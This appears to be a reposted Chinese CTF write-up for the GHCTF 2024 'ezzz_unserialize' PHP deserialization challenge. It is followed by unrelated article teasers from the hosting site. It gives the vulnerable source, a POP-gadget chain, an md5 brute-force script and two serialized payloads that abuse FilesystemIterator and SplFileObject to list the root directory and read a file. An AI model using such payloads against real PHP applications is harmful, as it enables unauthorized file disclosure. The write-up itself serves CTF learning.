[GHCTF 2024 新生赛]ezzz_unserialize

news2024/9/19 11:06:29
源码:
<?php
/**
 * @Author: hey
 * @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
 * Have fun and Good luck!!!
 */
error_reporting(0);
class Sakura{
    public $apple;
    public $strawberry;
    public function __construct($a){
        $this -> apple = $a;
    }
    function __destruct()
    {
        echo $this -> apple;
    }
    public function __toString()
    {
        $new = $this -> strawberry;
        return $new();
    }

}

class NoNo {
    private $peach;

    public function __construct($string) {
        $this -> peach = $string;
    }

    public function __get($name) {
        $var = $this -> $name;
        $var[$name]();
    }
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;
    public function __call($arg1,$arg2){
        $function = $this -> orange;
        return $function();
    }
    public function __get($arg1)
    {
        $this -> cherry -> ll2('b2');
    }

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;

    public function __toString()
    {
        $long = @$this -> banana -> add();
        return $long;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> mangosteen -> tt2)
        {
            echo "Sakura was the best!!!";
        }
    }
}

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

class UesugiErii{
    protected $coconut;

    protected function addMe() {
        return "My time with Sakura was my happiest time".$this -> coconut;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;

    public function __set($name, $value)
    {
        $this -> $name = $value;
        if ($this -> Kiwifruit = "Sakura"){
            strtolower($this-> Carambola);
        }
    }
}

if(isset($_POST['GHCTF'])) {
    unserialize($_POST['GHCTF']);
} else {
    highlight_file(__FILE__);
}


array_walk函数

array_walk() 函数对数组中的每个元素应用用户自定义函数。

原生类的利用
一.可遍历目录类

DirectoryIterator
FilesystemIterator
GlobIterator 与上面略不同,该类可以通过模式匹配来寻找文件路径。

二.可读取文件类

SplFileObject 在此函数中,URL 可作为文件名,不过也要受到allow_url_fopen影响。

二.文件系统相关扩展

finfo 该类的构造函数finfo::__construct — 别名 finfo_open(),也可以读取文件。

pop链

E::__get -> Heraclqs::__invoke -> Sakura::__toString -> Sakura::__destruct
Heraclqs::__invoke中有一个弱比较

    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }

爆破以下即可

import hashlib
import itertools
import string

for i in itertools.product(string.printable, repeat=3):
    s = ''.join(i)
    s1 = hashlib.md5(s.encode()).hexdigest()
    s2 = hashlib.md5(s1.encode()).hexdigest()
    if s2[:3] == '123':
        print(s)

playload1:
<?php
class Sakura{
	public $apple;
	public $strawberry;
    // function __destruct()
    // {
    //     echo $this -> apple;
    // }
    // public function __toString()
    // {
    //     $new = $this -> strawberry;
    //     return $new();
    // }
}

class E{
    public $e;
    // public function __get($arg1){
    //     array_walk($this, function ($Monday, $Tuesday) {
    //         $Wednesday = new $Tuesday($Monday);
    //         foreach($Wednesday as $Thursday){
    //             echo ($Thursday.'<br>');
    //         }
    //     });
    // }
}

class Heraclqs{
    public $grape;
    public $blueberry;
    // public function __invoke(){
    //     if(md5(md5($this -> blueberry)) == 123) {
    //         return $this -> grape -> hey;
    //     }
    // }
}

$a1=new E;
$a1->FilesystemIterator='/';

$a2=new Heraclqs;
$a2->blueberry='LLh';
$a2->grape=$a1;

$a3=new Sakura;
$a3->strawberry=$a2;

$a4=new Sakura;
$a4->apple=$a3;

$s=serialize($a4);
echo $s;
?>
//O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:18:"FilesystemIterator";s:1:"/";}s:9:"blueberry";s:3:"LLh";}}s:10:"strawberry";N;}

image.png

palyload2:
<?php
class Sakura{
	public $apple;
	public $strawberry;
    // function __destruct()
    // {
    //     echo $this -> apple;
    // }
    // public function __toString()
    // {
    //     $new = $this -> strawberry;
    //     return $new();
    // }
}

class E{
    public $e;
    // public function __get($arg1){
    //     array_walk($this, function ($Monday, $Tuesday) {
    //         $Wednesday = new $Tuesday($Monday);
    //         foreach($Wednesday as $Thursday){
    //             echo ($Thursday.'<br>');
    //         }
    //     });
    // }
}

class Heraclqs{
    public $grape;
    public $blueberry;
    // public function __invoke(){
    //     if(md5(md5($this -> blueberry)) == 123) {
    //         return $this -> grape -> hey;
    //     }
    // }
}

$a1=new E;
$a1->SplFileObject='/1_ffffffflllllagggggg';

$a2=new Heraclqs;
$a2->blueberry='LLh';
$a2->grape=$a1;

$a3=new Sakura;
$a3->strawberry=$a2;

$a4=new Sakura;
$a4->apple=$a3;

$s=serialize($a4);
echo $s;
?>
//O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:22:"/1_ffffffflllllagggggg";}s:9:"blueberry";s:3:"LLh";}}s:10:"strawberry";N;}

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1919064.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LiteOS增加执行自定义源码

开发过程注意事项&#xff1a; 源码工程路径不能太长 源码工程路径不能有中文 一定要关闭360等杀毒软件&#xff0c;否则编译的打包阶段会出错 增加自定义源码的步骤: 1.创建源码目录 2. 创建源文件 新建myhello目录后&#xff0c;再此目录下再新建源文件myhello_demo.c 3. 编…

GitHub Codespace从入门到放弃

洞悉技术的本质&#xff0c;享受科技的乐趣 背景 我在使用腾讯云主机打开使用github使用免费云空间编译代码。 遇到问题 在打开过程中 提升如下错误 你遇到的问题 别人也可能遇到 https://github.com/orgs/community/discussions/109419 我做了什么 阅读官方文档 https://docs.…

集群管理脚本

虚拟机集群管理脚本 文章目录 虚拟机集群管理脚本一、远程调用脚本(remote_call.sh)二、远程复制目录脚本(remote_copy.sh) 一、远程调用脚本(remote_call.sh) 如果有传命令参数&#xff0c;则执行该命令&#xff1b;如果没有传命令参数&#xff0c;则不执行。 #!/bin/bashcm…

用python识别二维码(python实例二十三)

目录 1.认识Python 2.环境与工具 2.1 python环境 2.2 Visual Studio Code编译 3.识别二维码 3.1 代码构思 3.2 代码实例 3.3 运行结果 4.总结 1.认识Python Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。 Python 的设计具有很强的可读性&…

获取时间的函数

#include <func.h>int main(){time_t mainNow;time(&mainNow);printf("main time %s\n",ctime(&mainNow));return 0;} 结果如下&#xff1a; #include <stdio.h> #include <time.h> int main() {time_t mainNow;struct tm *tm_info;ch…

Windows环境+C#实现显示接口测试

代码如下&#xff1a; using Models; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.ComponentModel; using System.ComponentModel.Design; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; …

ThreadLocal与ThreadLocalMap

参考&#xff1a;理清ThreadLocal、ThreadLocalMap、Thread之间的关系 - 翎野君 - 博客园 (cnblogs.com) ThreadLocalMap 是 ThreadLocal 类中的一个静态内部类&#xff0c;但它存在于每个线程的 Thread 对象内部&#xff0c;而不是 ThreadLocal 实例本身。 ThreadLocal 类&am…

怎么压缩视频?推荐7款必备视频压缩软件免费版(强烈建议收藏)

如今&#xff0c;视频内容日益丰富&#xff0c;并占据了许多人的日常娱乐和工作生活。然而&#xff0c;随着高清和超高清视频的普及&#xff0c;视频文件的体积也越来越大&#xff0c;给存储和传输带来了挑战。因此&#xff0c;学会如何压缩视频文件成为了许多人的需求之一。本…

Spring Web MVC入门(1)(建立连接)

一.什么是Spring Web MVC? Spring Web MVC是基于ServletAPI构建的原始Web框架,从一开始就包含在Spring框架中.它的正式名称"Spring Web MVC"来自其源模块的名称(Spring-webmvc),但它通常被称为"Spring MVC". 二.MVC的定义 MVC是Model View Controller的缩…

[终端安全]-7 后量子密码算法

本文参考资料来源&#xff1a;NSA Releases Future Quantum-Resistant (QR) Algorithm Requirements for National Security Systems > National Security Agency/Central Security Service > Article Commercial National Security Algorithm Suite 2.0” (CNSA 2.0) C…

高性价比之战,希喂、霍尼韦尔、安德迈宠物空气净化器真实PK

在拥有孕妇与小孩的家庭中饲养宠物&#xff0c;营造一个既温馨又健康的居家环境显得尤为重要。尽管日常的打扫与清洁工作已做得相当到位&#xff0c;但空气中仍难免悬浮着细微的宠物浮毛与不易察觉的异味&#xff0c;这些长期累积下来&#xff0c;极易成为细菌滋生的温床&#…

双一流高校某教学系统存在多个高危漏洞

脆弱资产搜集 信息搜集过程中&#xff0c;除了用常见子域名扫一遍&#xff0c;还可以通过空间搜索引擎手动搜索。我用的就是把学校名称或者缩写作为关键字&#xff0c;利用语法: web.body“关键字”&&web.body“系统” web.body“关键字”&&web.body“登录”…

05:定时器中断

中断 1、定时器T0中断2、案例&#xff1a;通过定时器T0中断来实现灯间隔1s亮灭 1、当中央处理机CPU正在处理某件事的时候外界发生了紧急事件请求&#xff0c;要求CPU暂停当前的工作&#xff0c;转而去处理这个紧急事件&#xff0c;处理完以后&#xff0c;再回到原来被中断的地方…

基于红黑树对map和set的封装

前言 前面我们已经对红黑树做了介绍和实现&#xff0c;本期我们来对红黑树进一步改造&#xff0c;然后基于改造后的红黑树封装出map和set&#xff01; 本期内容介绍 • 红黑树的改造 • 红黑树的迭代器实现 • map的封装 • set的封装 • 全部源码 ● 红黑树的改造 我们目前…

小程序项目记录

写小程序遇到的问题&#xff1a; 1、如何发行小程序 第一步点击“发行” 然后选择“小程序-微信(仅适用于uni-app)” 然后会弹出一个这样的框 微信小程序名称和AppId会自动带入 然后控制台会出现这些信息 注意&#xff1a;生成的这个路径build为线上环境部署所使用路径&…

Hydra-MDP: 端到端多模态规划与多目标 Hydra 蒸馏

Hydra-MDP: End-to-end Multimodal Planning with Multi-target Hydra-Distillation Hydra-MDP: 端到端多模态规划与多目标 Hydra 蒸馏 Abstract We propose Hydra-MDP, a novel paradigm employing multiple teachers in a teacher-student model. This approach uses know…

音质强者悠律Ringbuds pro,时尚与音质并存

首次将手机使用的“素皮”材料用在充电仓的设计上&#xff0c;不仅手感好&#xff0c;质感直接拉满&#xff0c;而这样的工业设计不仅获得了很多消费者的喜爱&#xff0c;同时也荣获了世界知名的红点设计大奖&#xff0c;此奖项并一直被冠以“国际工业设计的奥斯卡”之称。可见…

Android 使用 Debug.startMethodTracing 分析方法耗时

参考 Generate Trace Logs by Instrumenting Your App 官网提供了 trace 工具来分析方法耗时。 生成 trace 文件 package com.test.luodemo.trace;import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle; import android.os.Debug; import android.uti…

从点击到转化,Xinstall解析移动广告全链路数据,优化ROI的秘密

在疫情的持续影响下&#xff0c;全球营销环境正经历着前所未有的变革。品牌广告主们面对挑战&#xff0c;展现出前所未有的积极与韧性。移动端广告投放的持续增长&#xff0c;尤其是短视频和图文广告的兴起&#xff0c;为品牌带来了新的机遇。然而&#xff0c;如何在激烈的市场…

Dify 与 Xinference 最佳组合 GPU 环境部署全流程

背景介绍 在前一篇文章 RAG 项目对比 之后&#xff0c;确定 Dify 目前最合适的 RAG 框架。本次就尝试在本地 GPU 设备上部署 Dify 服务。 Dify 是将模型的加载独立出去的&#xff0c;因此需要选择合适的模型加载框架。调研一番之后选择了 Xinference&#xff0c;理由如下&…